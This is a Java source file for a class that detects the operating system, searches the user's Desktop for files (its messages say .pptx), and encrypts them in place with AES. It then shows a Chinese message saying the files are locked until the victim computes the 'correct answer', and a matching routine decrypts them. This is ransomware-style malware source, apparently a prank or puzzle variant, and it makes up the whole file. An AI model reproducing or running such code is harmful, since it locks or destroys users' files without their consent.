import javax.crypto.SecretKey;
import java.io.File;
import java.util.ArrayList;

public class LogicHandle {

    public static String logicEncry() throws Exception {
        String computer  = OS.getOSName();
        if (computer.equals("mac")){
            System.out.println("mac");
            String desktopPath = System.getProperty("user.home") + "/Desktop";
            File desktopFolder = new File(desktopPath);
            ArrayList<String> pathList =MacDesktopFilePathFinder.searchForWordFiles1(desktopFolder);
            System.out.println("加密文件路径"+pathList);
            //获得加密密钥
            SecretKey aesKey = AES.getAesKey();
            for(String inputFile : pathList) {
                String outputFile= inputFile;
                AES.encryptFile(inputFile,outputFile,aesKey);
            }
            String successInfo = "恭喜您，桌面所有的.pptx已经被加密且无法打开,若想要恢复正常文件的使用请计算出正确答案";
            return successInfo;




        }else if (computer.equals("win")){
            System.out.println("win");
            String desktopPath = System.getProperty("user.home") + "\\Desktop";
            File desktopFolder = new File(desktopPath);
            ArrayList<String> pathList =MacDesktopFilePathFinder.searchForWordFiles1(desktopFolder);
            System.out.println("加密文件路径"+pathList);
            //获得加密密钥
            SecretKey aesKey = AES.getAesKey();
            for(String inputFile : pathList) {
                String outputFile= inputFile;
                AES.encryptFile(inputFile,outputFile,aesKey);
            }
            String successInfo = "恭喜您，桌面所有的.pptx已经被加密且无法打开,若想要恢复正常文件的使用请计算出正确答案";
            return successInfo;

        }else if (computer.equals("nix") || computer.equals("linux") || computer.equals("nux") || computer.equals("aix")){
            System.out.println("linux");
            String desktopPath = System.getProperty("user.home") + "/Desktop";
            File desktopFolder = new File(desktopPath);
            ArrayList<String> pathList =MacDesktopFilePathFinder.searchForWordFiles1(desktopFolder);
            System.out.println("加密文件路径"+pathList);
            //获得加密密钥
            SecretKey aesKey = AES.getAesKey();
            for(String inputFile : pathList) {
                String outputFile= inputFile;
                AES.encryptFile(inputFile,outputFile,aesKey);
            }
            String successInfo = "恭喜您，桌面所有的.pptx已经被加密且无法打开,若想要恢复正常文件的使用请计算出正确答案";
            return successInfo;
        }else {
            System.out.println("未知操作系统");
        }
        return null;
    }

    public static String logicDecode() throws Exception {
        String computer  = OS.getOSName();
        if (computer.equals("mac")){
            System.out.println("mac");
            String desktopPath = System.getProperty("user.home") + "/Desktop";
            File desktopFolder = new File(desktopPath);
            ArrayList<String> pathList =MacDesktopFilePathFinder.searchForWordFiles1(desktopFolder);
            System.out.println("解密文件路径"+pathList);
            //获得加密密钥
            SecretKey aesKey = AES.getAesKey();
            for(String inputFile : pathList) {
                String outputFile= inputFile;
                AES.decryptFile(inputFile,outputFile,aesKey);
            }
            String successInfo = "恭喜您，已经解毒";
            return successInfo;




        }else if (computer.equals("win")){
            System.out.println("win");
            String desktopPath = System.getProperty("user.home") + "\\Desktop";
            File desktopFolder = new File(desktopPath);
            ArrayList<String> pathList =MacDesktopFilePathFinder.searchForWordFiles1(desktopFolder);
            System.out.println("解密文件路径"+pathList);
            //获得加密密钥
            SecretKey aesKey = AES.getAesKey();
            for(String inputFile : pathList) {
                String outputFile= inputFile;
                AES.decryptFile(inputFile,outputFile,aesKey);
            }
            String successInfo = "恭喜您，已经解毒";
            return successInfo;

        }else if (computer.equals("nix") || computer.equals("linux") || computer.equals("nux") || computer.equals("aix")){
            System.out.println("linux");
            String desktopPath = System.getProperty("user.home") + "/Desktop";
            File desktopFolder = new File(desktopPath);
            ArrayList<String> pathList =MacDesktopFilePathFinder.searchForWordFiles1(desktopFolder);
            System.out.println("解密文件路径"+pathList);
            //获得加密密钥
            SecretKey aesKey = AES.getAesKey();
            for(String inputFile : pathList) {
                String outputFile= inputFile;
                AES.decryptFile(inputFile,outputFile,aesKey);
            }
            String successInfo = "恭喜您，已解毒";
            return successInfo;
        }else {
            System.out.println("未知操作系统");
        }
        return null;
    }

 /*   public static void main(String[] args) throws Exception {
        LogicHandle logicHandle = new LogicHandle();
        logicHandle.logicEncry();
    }*/
}
